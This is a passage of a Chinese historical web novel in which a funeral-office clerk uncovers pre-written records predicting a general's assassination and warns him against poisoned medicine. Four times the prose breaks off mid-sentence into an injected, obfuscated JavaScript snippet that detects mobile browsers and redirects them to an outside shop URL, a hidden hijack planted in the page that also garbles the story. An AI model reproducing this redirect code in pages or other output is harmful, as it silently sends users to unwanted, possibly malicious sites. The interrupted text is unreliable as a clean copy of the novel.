她起身走到靠墙那排木架前,熟门熟路地抽出几卷旧档。凶礼司这些年预拟过的底册多得吓人,真要一本一本翻,能把人翻到来世去。可她在这里待了六年,最清楚什么样的死因该归在哪一类。 暴病这两个字在凶礼司里很常见。重臣年老,可以暴病;宗亲失势,可以暴病;封疆大吏回京途中忽然没了,也可以暴病。它不像谋逆那样难听,也不像刺杀那样麻烦,既保全体面,又少生枝节。人若一死,再由太医院写两句脉案,礼部拟几行祭文,史官落一句“天不假年”,这事便算圆满。 季柠把几卷旧档摊开,一页页翻过去。 祁国公,暴病;太常寺卿,暴病安平侯世子,暴病…… 她看得很快,眼神却越来越沉。那些底册里的措辞各不相同,可往细处一看,又总有些相似。多数暴病之人,死前都见过太医,多数太医救治不及,多数丧仪都办得极快,多数底册里,都有人提前替他们安排好了最后见谁、由谁诊治、由谁宣告死讯。 季柠翻到其中一卷时,手忽然停住。 那卷是三年前祁国公府的旧案。祁国公当年也是得胜归京,没多久便忽然病故,外头说他旧伤复发,太医院救治了半夜,人没救回来。底册上落的也是暴病身亡。季柠往后翻了一页,哭灵名册里,有一个名字。 冯嵩。 季柠盯着那个名字看了一会儿,又低头看了看宋昭这份新底册。 太医院院判,冯嵩。 她盯着那个名字看了一会儿,又低头看了看宋昭这份新底册,心里那点不安终于慢慢沉成了一个清楚的答案。她把旧档合上,低声道:“行,这就更不巧了。” 话音刚落,外头忽然传来脚步声,季柠被这突如其来的脚步声吓得一哆嗦。 凶礼司夜里少有人来。这里晦气,白日里都没几个活人愿意多站,何况是夜里。方才那道密旨已经送完,值夜差役这会儿也该缩在门房里打瞌睡,绝不会踩出这么稳的脚步声。 那脚步声由远及近,穿过廊下的风,最后停在门外。季柠抬眼,下一刻,门被人从外头推开。 宋昭站在门口。 他身上还带着外头夜色里的寒意,一身玄衣,袖口沾了些风尘,显然是刚从外头赶来不久。烛火照上去,衬得他眉眼越发冷硬。凶礼司这间屋子里挂满旧档,四壁阴沉,他这么一个活生生、刚从死册里走出来的人站在门口,竟显得比那些纸页上的名字还要不真实些。 季柠愣了一下,随即下意识把案上的底册往旁边压了压。 这个动作极轻,可惜宋昭眼睛不瞎,他目光先落在她手上,随后又扫过案上那只覆着黄绫的黑匣,最后才看向她。 “季大人。”他开口,声音平静,“或者,我该叫你季掌簿。” 季柠在心里叹了口气:来得还挺快。 面上她却仍旧稳得住,甚至还弯了弯眼:“将军深夜造访凶礼司,若传出去,外头怕是又要多编几段闲话。” 宋昭没有接她的话。他迈步进来,顺手将门带上。木门合拢的一瞬,外头那点夜风被隔在门外,屋里却并没有因此暖起来,反倒因为多了一个宋昭,显出几分更紧绷的压迫感。 他没有立刻逼近,也没有立刻发问,只先抬眼看了一圈这间屋子。靠墙的旧档,案上的黄绫黑匣,摊开的纸页,还有季柠方才匆忙压住的那份底册。他的视线很轻,却像刀背贴着纸面缓缓刮过,所到之处,什么都藏不住。 “我若不来,还不知道白日里替我量赏服的礼部女官,夜里原来在这里当差。”宋昭看着她,“礼部没有一个专管量体裁衣的季大人,倒是凶礼司有位季掌簿,借礼部文书偷进了我的将军府。” 季柠面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548088|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑意没变,手指却轻轻蜷了一下。 “凶礼司挂在礼部名下。”季柠答得很快,也很无辜,“下官说自己是礼部的人,倒也不算骗将军。” 宋昭看着她:“那你给我量的,到底是赏服,还是寿衣?” 屋里静了一瞬。 季柠心说这人说话还真是不委婉。她面上却露出一点十分诚恳的惊讶,像是听见了什么荒唐至极的话:“将军这话可太吓人了。您活得这样精神,下官哪敢替您说这种晦气话。” 宋昭仍旧没有被她带偏,他往前走了两步,停在案前,目光扫过那几卷旧档,又落回她脸上。 “我今日不是来与你争这个的。”他声音不高,却压得人心头微沉,“西郊石桥的路线,你从哪里知道的?” 季柠低头理了理案上的纸,语气平稳:“将军这话问得奇怪。下官一个写底册的小吏,哪里知道什么西郊石桥。” “你不知道,却让我改时辰、换路线。” “礼部规制繁杂,一时有事也不稀奇。” “你不稀奇。”宋昭声音淡淡,“可我麾下先行那队人,在西郊石桥中了伏。死了六个,伤了十三个。” 季柠手指微微一顿,屋里安静下来。她原本准备了一肚子推脱的话,可真听到这个数目时,那些圆滑、狡辩和半真半假的说辞,忽然像被什么东西堵在了喉咙里。 六个,不是底册上的一句为掩护大军撤退,也不是纸面上轻飘飘一行身中数箭。 是真死了六个人。 季柠垂着眼,半晌才道:“将军节哀。” 宋昭盯着她,眼神沉得像压着寒霜,“季柠,你若在局里,今日不会把我引去礼部。可你若不在局里,又怎么会提前知道那条路有问题?” 季柠沉默,这话问得太准了。她在官署里打滚多年,最怕的就是这种人。你同他说场面话,他便直接掀桌;你想把话绕成一团,他偏偏一刀切到骨头上。 季柠抬起眼,笑意淡了些:“将军既然已经查到我在凶礼司,也该知道我能说的东西不多。” “那就说你能说的。” “我能说的就是,今日那张便条确实是我递的。”季柠顿了顿,又补了一句,“但西郊那些死士不是我派的,箭也不是我放的。下官这条命轻得很,没本事算计镇北将军,更不敢。” 宋昭看着她,他没有点头,也没有说信。过了片刻,他声音更冷了些:“你没本事算计我,不代表你没本事被人拿来算计我。今日那张便条,可能是提醒,也可能是诱我改道。西郊石桥那一局若是第一手,你这张便条便是第二手。让我以为你救了我,让我对你放松戒心,再从你这里听下一句所谓的提醒。” 季柠心头微微一沉,她终于听明白了。他不是不明白她救了他,他是觉得,她救他的这一下,也可能仍在局中,甚至可能是为了取信于他。 这才是宋昭,冷硬,多疑,半点不肯轻易交出信任。 季柠看着他,反倒笑了:“将军想得很周全。” “在战场上,想得不周全的人活不久。” “那将军今夜来凶礼司,就不怕又是我这枚棋子把您引过来的第三手?” 5. 你到底是谁 “那将军今夜来凶礼司,就不怕又是我这枚棋子把您引过来的第三手?” 宋昭看着她,淡淡道:“所以我没带霍青进来。若今夜这里有埋伏,死的也只是我一个。若你真有问题,我杀你也不需要旁人动手。” 他说这话的时候,语气平静得像在说天色不错,季柠后背却一点点凉了。她下意识看了一眼他的手,宋昭的手垂在身侧,离腰间刀柄不远。那姿态并不紧绷,甚至称得上从容。可季柠一点也不怀疑,若他真觉得她有半分异动,那把刀会比她的念头更快。 她忽然觉得自己刚才那点嘴硬有点多余,这人是真的会杀人。 季柠慢慢把手从底册上挪开,笑意收了些:“将军既然这么怀疑我,何必还要来问我?” “因为你知道得太多,但你一个小小的掌簿,如何能知道这些?”他的目光落到案上那只黑匣上,季柠顺着他的视线看过去,心里又是一跳。她知道,这件事已经瞒不过去了。 宋昭既然已经查到凶礼司,就算她今日咬死不认,他也迟早能从别处挖出来。与其让他乱查,惊动更多人,倒不如先把最要紧的那部分压在自己手里,至少还能挑着说。 季柠沉默片刻,终于低声道:“凶礼司除了负责常规的丧仪礼数,还有一项差事。” “预拟丧仪。” 宋昭眉心极轻地动了一下。 季柠继续道:“王公贵族、朝中重臣,若身份特殊,宫中会提前备下一份底册。停灵几日,棺椁用什么木,发丧从哪条路走,祭文写到什么分寸,谥号落在哪两个字上,都要先有个规制。说好听些,是未雨绸缪,防止有人突然逝世,相应的礼节准备不及,失了礼制。” 她停了一下,笑意有些淡:“说难听些,就是替还活着的人,先把身后事备着。” 宋昭没有说话,屋里只有烛火轻晃,旧档纸页被风吹得沙沙作响。季柠能感觉到他的目光落在自己脸上,沉静、冷淡,像是在判断她这一番话里到底有几分真,几分假。 片刻后,他才开口:“所以,你三日前收到的,是我的丧仪底册。” 季柠垂眼:“是。” “那份底册里写了西郊石桥?” 季柠没有立刻答,宋昭却已经看明白了,他的神色终于彻底冷了下来:“写了什么?” 季柠指尖轻轻压在案沿上,低声道:“写将军自将军府起,过朱雀长街,出西郊石桥,沿北营官道北上,路遇埋伏,为掩护大军撤退,身中数箭,忠烈战死。” 这句话落下,屋里像被人兜头泼了一盆冷水,宋昭站在那里,半晌没动。他脸上没有暴怒,只是眼底那点温度一点一点退了下去。季柠忽然觉得,比起那些震怒失态的人,宋昭这样反倒更可怕。他像是把所有情绪都压进了刀鞘里,不动声色,却随时能拔出来见血。 过了片刻,他低声问:“你三日前就知道?” “那时只看见底册。”季柠道,“我不确定。” “所以你白天问霍青路线,听见霍青的回答,你就确定了?” 季柠默了默:“确定了一半。” 宋昭看着她:“所以你递了那张便条。” “是。” “为什么?” 季柠抬眼看他。宋昭这两个字问得很轻,却比方才所有质问都难答。为什么?因为她闲得慌?因为她心软?因为她看不得一个大活人照着纸上写好的死法去死?因为她怕以后想起来,觉得自己明明能拨一拨,却偏偏装作看不见? 这些话都不像一个凶礼司掌簿该说的。于是季柠想了想,只道出了当时心里的煎熬:“真要是巧合,将军不过是多绕半条路。可若不是巧合,我至少不至于良心不安。” 宋昭看了她很久,只道:“你倒把自己摘得干净。” 季柠苦笑:“下官一向惜命。” 宋昭的目光却没有从她身上移开:“那你现在,又在藏什么?” 季柠心里一跳,下一瞬,宋昭已经看向她手边压着的那卷新底册:“那只黑匣,是刚送来的?” 季柠:“……” 季柠没有说话,可沉默已经足够说明问题。 宋昭伸手,想去拿那卷纸,季柠立刻按住:“将军,密旨不可外泄。” 宋昭垂眼看她按在纸上的手,声音仍旧很平:“写的是我的死,连我也不能看?” “按规矩,不能。” “按规矩,我今日该死在西郊石桥。”宋昭看着她,“季掌簿觉得,这规矩还要不要守?” 季柠被噎了一下。她嘴唇动了动,最后只道:“将军若执意要看,下官拦不住。但看了之后,若宫里追究起来,下官这条小命怕是就真不够赔了。” 宋昭停了停,他低头看她。 季柠这话说得很轻,甚至还有点习惯性的圆滑,可她按着纸的手指却很用力,指节都微微泛了白。她是真的怕,怕宫里,怕凶礼司,怕知道得太多,也怕一脚踩进别人早铺好的死局里。 可她怕归怕,今日还是递了那张便条。 宋昭忽然收回手。 季柠刚要松一口气,便听他淡淡道:“那你念。” 季柠:“……” 她觉得这人真是很会换个法子逼人。 宋昭看着她:“既然不能让我看,你念给我听。出了事,是我逼的。” 季柠听明白了,他在给她留退路。若真有人追究,便是镇北将军强闯凶礼司、逼掌簿泄密,不是她主动给他看。这个说法未必能全然保住她,但至少比她自己把密旨递出去强得多。 季柠指尖松了松,心情一时有些复杂,这位将军倒也不是全然不讲理。只是太敏锐,太难糊弄,也太要命。她慢慢展开那卷纸,斟酌片刻,只避重就轻地念:“镇北将军宋昭,重拟丧仪底册。” 宋昭盯着他没说话。 她只能硬着头皮继续往下念:“停灵一日,丧仪从简,不惊边军。” 宋昭的眼神冷了些。 季柠声音顿了顿,接着念:“太医院院判冯嵩入册,礼部侍郎韩令入册,宫中内侍孙成入册。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548089|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “死因呢?”宋昭问。 季柠抬头看他。宋昭也看着她,神色平静得近乎冷淡。 她沉默两息,终于还是念了出来:“暴病身亡。” 屋里再次静下来,烛火轻轻晃了一下,映得宋昭的侧脸一半在明,一半在暗。 “什么时候?”他问。 季柠低头扫了一眼底册,也没什么可继续瞒的了,索性破罐子破摔,只是因为底气不足声音不由自主地低了些:“底册上写的是,遇伏归京后旧伤骤发,夜半咳血不止,太医院救治不及。” 宋昭很轻地笑了一声:“第一回让我死在路上。路上不成,便改成死在屋里。” 季柠没接话,这句话由他自己说出来,比她怎么解释都更清楚。 片刻后,宋昭忽然问:“你怎么知道这第二份不是专门递给你看的?” 季柠抬眼:“什么意思?” “你今日救我,我今夜查到你在凶礼司。第二份密旨此时送到你手上,你又恰好让我看见。”宋昭看着她,“季掌簿不觉得,这时机也很巧?” 季柠心里一惊,这人已经疑心到这种地步了。她方才只觉得第二份密旨来得太快,倒真没往这一层想。若有人早知道宋昭会查到凶礼司,甚至早知道他今晚会来找她,那这第二份底册,也可能不是单纯给她看的,而是借她的手,递给宋昭看的。 让宋昭知道下一种死法,让他疑心太医院、疑心宫中、疑心所有靠近他的人。一旦他乱了,后面才更容易下手。 季柠忽然觉得头皮微微发麻。 宋昭看着她的反应,眼神沉了沉:“看来你也没想到。” 季柠一时没说话。 她确实没想到。她平日里自认脑子还算够用,可和这种常年在刀口上活下来的人比起来,第一反应还是慢了一步。 就在这时,外头忽然传来急促脚步声。门被人敲响,霍青的声音隔着门传进来,压得有些低:“将军,宫里刚传了口谕。圣上闻将军今日遇伏受惊,命将军明日入宫问安,又遣太医院冯院判随行,为将军诊旧伤。” 季柠握着底册的手猛地一紧。 冯院判,底册里刚刚添上去的那个名字。 宋昭看了她一眼,这一眼已经足够让季柠明白,他看见了她方才那一瞬的失态。外头霍青还在等答复,屋里却像被那三个字压得更静了。 片刻后,宋昭才道:“知道了。” 霍青应声退下。 季柠慢慢把底册合上,指尖还压在“暴病身亡”那一页上。她本来该说,到此为止,与她无关。她已经泄了不该泄的密,提醒也提醒到了,剩下的生死祸福,自该由宋昭自己去担。 可她一想到暴病二字,一想到太医院院判冯嵩,一想到那些旧档里一模一样的名字,喉咙里那句话就怎么也说不出口。 她抬起眼,看向宋昭。 “将军。” 宋昭看着她。 季柠一字一句道:“明日入宫,别喝任何人递来的药。” 6. 入宫 季柠一字一句道:“明日入宫,别喝任何人递来的药。” 宋昭站在凶礼司昏黄的灯火里,看了她许久。 这地方四壁皆是旧档,纸页层层叠叠,记着这个京城里许多体面人的最后一程。夜风从门缝里钻进来,吹得梁下灯火轻轻晃动,火光落在季柠脸上,将她眼底那点疲倦和郑重照得分明。她说这话时,不像平日里那副圆滑讨巧的样子,也不像那个把自己摘得干干净净、恨不得一句话绕三道弯的掌簿。 她是真的在提醒他。 可宋昭仍旧没有立刻应下。 他在战场上活到今日,从不靠旁人的善意。敌人的刀锋会伤人,盟友递来的水也未必干净。季柠救他一次是真,她身份可疑也是真;那份底册写得分毫不差是真,第二份密旨来得太巧也是真。所有东西交缠在一起,像一张不知从何处撒下来的网,偏偏季柠正站在网眼中央。 宋昭垂眼看了一眼案上的底册。 暴病身亡。 旧伤骤发,夜半咳血,救治不及。 这些字落在纸上时不过寥寥几笔,可若真发生在一个人身上,便是一间紧闭的宫室,一碗温热的药,一群能作证的太医和内侍,外头再站几个脸色沉重的朝臣。等人一咽气,凶礼司的丧仪底册便能立刻派上用场,礼部拟文,史馆记事,天下人知道的也不过是镇北将军多年征战、旧伤缠身,终究天不假年。 干净,体面,周全。 也叫人恶心。 宋昭没有再碰那份底册,只在离开前淡淡看了季柠一眼:“我会记着。” 季柠听见这话,心里并没有松快多少。因为宋昭说这句话时,语气实在太平静,平静得像是记下明日该带哪把刀,而不是记下有人或许要借一碗药要他的命。 他走后,凶礼司的门重新合上。夜色漫进院中,风灯晃晃悠悠地亮着,像两只迟迟不肯闭上的眼睛。季柠站在案后,盯着那扇门看了好一会儿,才慢慢坐回椅中。她伸手把那份重拟底册重新合上,指尖从“暴病身亡”四个字上滑过时,只觉得纸面微凉,凉得像一块薄薄的冰。 而宋昭出了凶礼司后,霍青已经在不远处等了许久。 这位副将显然憋了一肚子话,见宋昭出来,先快步迎上来,目光忍不住往凶礼司那扇阴沉沉的门上扫:“将军,那位季掌簿……” “查。”宋昭翻身上马,衣摆在夜色里划出一道冷硬的弧度,“但别惊动她。凶礼司、礼部、宫里传旨的人,昨夜和今晚递密旨的内监,能查到多少查多少。” 霍青神色一肃:“是。” 宋昭握着缰绳,马却没有立刻动。他回头看了一眼凶礼司。那处官署安静得不像活人待的地方,门楣低沉,廊下灯影昏黄,仿佛无论白日夜里,都蒙着一层洗不掉的灰。 他想起季柠按着底册时泛白的指节,想起她那句“别喝任何人递来的药”,也想起她在礼部院里强撑着笑,嘴上说着“总不能是下官会算命吧”的模样。 半晌,他才收回目光,淡声道:“明日入宫,带两个人在宫门外候着。若两个时辰内我没出来,按先前军令行事。” 霍青脸色微变,却没有多问,只低声应下。 第二日天色并不好。 清晨时,京城上空压着一层淡淡的阴云,雨意悬而未落,风里带着未散的潮气。宫道两旁的青石被夜露浸得发暗,车马碾过时,留下两道湿痕。宋昭入宫时穿的是一身深色朝服,腰间玉带收得极利,衬得人越发肩背挺直。昨夜西郊遇伏的消息已经在京中悄悄传开,只是还没到满城皆知的地步,宫门前的禁军见他下马时,目光都比平日多停了一瞬。 宋昭神色如常。 他把马交给随行亲卫,独自入宫。宫门层层打开,朱漆门扇沉沉向内推去,露出长而宽阔的宫道。檐下金铃被风吹得轻响,远处殿宇重重,飞檐在阴云下压出一道冷肃的线。京城里再热闹的地方,一进宫门,声音都会被无形地压下去。脚步声落在青石上,轻一点便像怕惊扰了什么,重一点又像在提醒来人,这里容不得半分随意。 宣政殿内,香气清淡。 年轻的帝王坐在御案之后,正低头看一封折子。殿中光线从高窗斜照进来,落在明黄袍袖上,映出细密龙纹。皇帝年纪并不大,眉目生得极清俊,若只看五官,甚至还残留着几分少年气。只是那身明黄龙袍一压,玉冠一束,额角眉梢便生出几分不容轻忽的威仪来。他抬眼时,眼神清明,唇边却带着一点温和的笑意,像是君王,也像是个还没完全被深宫磨尽温度的年轻人。 “宋卿来了。”皇帝放下折子,语气竟比平日朝会上亲近许多,“昨日的事,朕已经听说了。西郊石桥那些人,胆子倒是不小。” 宋昭上前叩拜,声音沉稳:“臣无恙,劳陛下挂心。” 皇帝看着他,眉头微微蹙了蹙,似乎是真有几分不快:“你倒说得轻巧。若不是临时改道,今日站在朕面前的,还不知是不是你。起来吧,身上有旧伤,不必跪久。” 宋昭谢恩起身,垂手立于殿中。殿内极静,只有内侍换茶时衣袖轻擦的声响。皇帝似乎心情不错,也或许是见他安然无恙,面色比方才松了许多,连问了几句北境之事。问军粮,问边防,问北狄近日可有异动,又问昨日西郊遇伏的人手可查出了来路。宋昭一一答了,话不多,却都落在实处。 皇帝听得很认真,偶尔还会追问两句。若换作旁人,只怕早被这份圣眷惊得心头发热,可宋昭从头到尾都极稳,君臣之间一问一答,像隔着一张无形的礼法之网。皇帝看他一身冷硬,眉眼间仍旧是那副边关带回来的寒意,忽然轻轻笑了一声:“你啊,还是这副样子。昨日才遇伏,今日站在朕面前,竟像什么也没发生过。” 宋昭垂眼:“臣既未死,便不算大事。” 这话说得太直,殿内几个近侍都不敢抬头。 皇帝却没有怪罪,只是脸上的笑意淡了一些,随即又慢慢恢复如常:“朕不爱听这个字。今日你既入宫,便留下用顿饭吧。也算给你压一压惊。” 宋昭神色微动,随即道:“臣多谢陛下恩典。” 皇帝似乎因这句话高兴起来,随手把御案上的折子合上,吩咐内侍设宴,又道:“丞相与几位阁臣今日也在宫中议事,一并叫来吧。昨日西郊之事,朕也正好听听他们怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548090|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。” 内侍躬身应下。 宋昭站在殿中,面色依旧平静,指尖却在袖中轻轻动了一下。季柠昨夜那句话,忽然毫无征兆地浮了上来:“别喝任何人递来的药。” 御宴设在偏殿。 不算大宴,规格却不低。宫人很快摆上锦席与玉盏,金漆食案一字排开,银箸在灯下泛着冷白的光。外头阴云未散,殿内却暖意融融,炭炉烧得正旺,酒香与菜香渐渐漫开,把原本清冷的宫殿熏出几分人间烟火气。 不多时,丞相周惟衡与几位朝中重臣先后入席。 周惟衡年过五旬,须发修整得极齐,面容清癯,穿一身深紫官袍,步子不快不慢,像是连衣摆摆动的弧度都算过。他一进殿,便先向皇帝行礼,再转向宋昭,脸上带着恰到好处的关切:“听闻将军昨日遇伏,老臣忧心了一夜。今日见将军无恙,实在是大晟之幸。” 宋昭回礼:“丞相挂心。” 周惟衡叹了一声:“将军镇守北境多年,身系边关安危,实在不可再轻忽自身。刺客要查,旧伤也要养。若为国操劳到损了根本,陛下与满朝文武都要心疼。” 这话说得极体面,温厚周全。宋昭听着,眼神却没有半点波动。 宴席开始后,皇帝兴致不错,先说昨日之险,又问北境军务。几位大臣轮番附和,或夸宋昭骁勇,或痛斥刺客猖狂,或请皇帝严查京畿防务。酒过一巡,宫人替众人斟上温酒,玉壶口冒着细细热气,香味清冽。 宋昭看了一眼面前的酒盏,没动。 皇帝注意到,笑问:“怎么,宋卿今日连朕的酒也不喝了?” 这话听着随意,殿内却微微静了一瞬。 宋昭起身,神色不变:“臣昨日遇伏,身上旧伤被牵动,今晨入宫前,军医嘱咐暂不可饮酒,恐冲了药性。臣不敢欺君。” 皇帝闻言,眉心微蹙,倒真有些不悦:“旧伤又犯了?怎么方才不说?” “些许旧疾,不敢扰陛下兴致。” 皇帝看他一眼,像是不赞同,却也没逼,只吩咐宫人撤下宋昭面前的酒,换上温水。宋昭垂眸看着那盏新换的水,杯沿干净,水面微微晃着灯影,像一面小小的镜子。 宋昭低头:“臣失礼。” 皇帝摆了摆手,没再追究。 席间说起西郊伏击,周惟衡很快接过话头,提议由京兆府、刑部与禁军三方会查,又说刺客敢在京畿动手,背后定有大逆不道之徒。宋昭静静听着,偶尔答一句,更多时候只是看着殿中灯火在众人脸上流转。 这场宴席看起来寻常得很。 菜肴精致,酒香温暖,君臣言笑,丞相关切。没有人忽然翻脸,也没有人递来一碗药,甚至连昨日底册里写下的“夜半咳血”都仿佛只是季柠杞人忧天看多了死册生出的幻觉。 若不是宋昭记性够好,几乎也要觉得这一局太过平静。 直到宴席过半,周惟衡像是忽然想起什么,放下酒盏,笑着开口:“说起旧伤,老臣倒想起一事。今日太医院冯院判原本奉旨要给将军诊脉,只是眼下陛下设宴,他一介太医不便入席打扰,便托老臣带了一副方子来。” 7. 药方 宋昭抬眼。 周惟衡从袖中取出一张折好的药方,纸角压得很平,像是早已备好。他让身旁内侍递过去,语气关切得毫无破绽:“冯院判说,将军常年征战,旧伤逢阴雨便易痒痛。这方子并非猛药,只是温养筋骨、活血祛寒。将军回府后可让军医照着煎煮,每日一剂,调养些时日,或许能缓解一二。” 那张方子被内侍双手捧着,送到宋昭案前。 纸很薄,折痕清晰,隐约能闻见一点药材的干苦气。 宋昭垂眼看着那张方子,脑中却忽然浮出凶礼司昏黄的灯火,以及季柠压在纸页上的手。 殿中所有目光都在此刻若有若无地落了过来。皇帝也看着他,神色倒很自然,甚至还带着几分关切:“冯嵩医术不错,你那身旧伤也确实该好好养养。北境离京远,平日里军医未必有太医院细致。” 宋昭伸手接过药方,神色平稳:“臣谢陛下关怀,也谢丞相费心。” 周惟衡笑了笑:“将军为国镇边,老臣不过顺手代劳,何谈费心。” 宋昭将药方收入袖中,语气没有半分异样:“臣回府后会命军医照方验看。若无相冲之处,便每日煎煮服用调养。” 这话说得妥当,收了方子,没有当场拂了丞相和太医院的面子;说要军医验看,也不算立刻入口。周惟衡看他一眼,脸上的笑意仍旧温和,像是对这个回答很满意,又像是本就不在意他今日会不会当场服药。 接下来的宴席依旧平稳。 皇帝又同几位大臣议了几句边关粮草,提到北境今冬军需,宋昭答得简明,丞相在一旁补了几句户部调拨,旁人也跟着附和。一切都寻常得不能再寻常,若有人从旁看去,只会觉得这是一场君臣和睦、宾主尽欢的小宴。 宋昭直到离席,也没有碰过那盏水。 皇帝没有再留他,只叮嘱他回府后好生歇息,尽快查清西郊之事。宋昭一一应下,叩拜告退。出殿时,外头那场雨终于落了下来。细雨打在宫檐上,声音很轻,像无数根细针密密落下。 宫人撑伞送他出宫。 宋昭走在长长的宫道上,雨水顺着伞沿滴落,在青石上砸出一串细碎水痕。远处宫门沉沉,近处朱墙无声,四周一切都安静得几乎让人挑不出半点错处。 什么都没发生。 没有毒酒,没有药碗,没有忽然发作的旧伤,也没有太医当场诊脉。那张写着药方的纸安安稳稳躺在他袖中,薄薄一张,却像一枚迟迟未落的棋子。 宋昭走到宫门外时,霍青已经等得焦躁。见他出来,立刻迎上前:“将军?” 宋昭把那张药方取出来,递给他:“让军医不要煎,方子上的每一味药都查清楚。” 霍青神色微变,立刻接过:“是。” 宋昭翻身上马,回头看了一眼雨幕中的宫城。明黄琉璃瓦被雨水洗得发亮,层层宫阙隐在灰蒙蒙的天色里,庄重而沉默,像什么都没有发生过。 他想起季柠昨夜那句提醒,想起周惟衡递方子时的笑,也想起皇帝年轻而温和的眉眼。 这一日,的确什么都没发生,可宋昭握紧缰绳,心底却并没有因此松下去。 宋昭回到北营时,夜已经很深了。 雨还没停,只是比出宫时小了些。细密雨丝斜斜落下来,打在营中一排排军帐上,发出极轻的沙沙声。营门外的火把被雨气压得不大明亮,火光在风里一晃一晃,把守门士兵的脸照得忽明忽暗。远处马厩里偶尔传来几声马嘶,伤兵营那边也还亮着灯,隐隐约约能听见压低的说话声和药炉沸开的细响。 西郊石桥那一场埋伏才过去一日,北营里气氛远不如平日松快。白日里该巡防巡防,该操练操练,到了夜里,那股压在众人心口的沉意便浮了出来。死了人的营地总是会比平常安静一些,不是没人说话,而是每个人都知道,有些名字今日还在点卯册上,明日就要换到阵亡名册里去。 宋昭下马时,霍青快步上前接过缰绳,低声道:“将军,秦医官还在帐里等着。” 宋昭抬眼看向主帐方向,果然见帐中灯火还亮着。随军医官秦岐年纪不算大,却已经跟着北境军走了许多年。此人平日里最爱念叨,见到伤员不肯好生吃药要骂,见到武将旧伤复发还硬撑也要骂,连宋昭都没少被他板着脸数落。只是数落归数落,真到了有事的时候,他比谁都熬得住。 今日也是。 宋昭掀帘入帐时,秦岐正坐在灯下翻医册。桌边放着两只药箱,箱盖没合严,里头药瓶、银针、纱布和几卷旧脉案都露在外头。灯火将他的影子拉得很长,落在帐布上时,瘦削得像一截被风吹弯的竹。 听见动静,秦岐立刻抬头。 看见宋昭完完整整地走进来,他像是终于松了口气,紧绷了一整夜的肩背都微微塌了一下,随后又很快板起脸:“将军总算回来了。宫里这一趟去得太久,霍副将又不肯说清楚,只让属下在这里等。您若再迟半个时辰,属下怕是要亲自去宫门口捞人了。” 霍青跟在后头进来,闻言摸了摸鼻子:“我倒是想说清楚,可将军出宫前也没交代几句。再说了,宫里那地方,哪是你说捞就能捞的?” 秦岐冷冷看他一眼:“那也比干等强。” 霍青被噎得没话说,只能把袖中那张药方递过去:“行行行,先别骂我。将军从宫里带出来的,太医院冯院判开的方子。你看看。” 秦岐接过方子时,神色顿时正了些。 他先就着灯火扫了一遍。纸上的字迹清楚,药名列得规整,君臣佐使也标得分明。秦岐原本还拧着眉,可看着看着,那眉头反倒慢慢松了些。他把方子翻过去看了眼背面,又重新翻回来,从头到尾细细读了一遍。 帐中一时安静下来。 外头雨声绵绵,帐内灯芯偶尔爆出一点细响。宋昭坐在案后,任由秦岐看那张方子,自己则垂眼擦着手边那柄短刀。刀身窄而薄,映着灯火时泛出一层冷色。霍青站在一旁,看了看秦岐,又看了看宋昭,几次想开口,最后都忍住了。 秦岐终于放下方子,道:“乍一看没什么问题。” 霍青一怔:“没问题?” “你这是什么语气?”秦岐瞥他,“你是盼着有问题?” “我不是这个意思。”霍青压低声音,“只是这方子是宫里出来的,又是冯院判亲手开的,将军还特地让我拿回来给你看,我还以为……” 他话没说完,却已经把意思说得很明白。 秦岐自然也听懂了。他再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548091|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次低头看了看那张药方,沉吟片刻:“药性平和,都是温经散寒、舒筋活络的药。若按这上头的配伍来看,确实是调旧伤的方子。只是方子这东西,单看药名还不够,药量、炮制、药材来源,甚至煎煮时辰都有讲究。属下今夜先拿回去细看,最好再对一对医册。” 宋昭将擦好的短刀放回案上:“去看。” 秦岐把方子收起,仍有些不放心地看了他一眼:“将军今日在宫里,可曾饮酒用药?” “没有。” “水呢” “也没有” 秦岐这才像是真正松了口气,嘀咕道:“还算听话。” 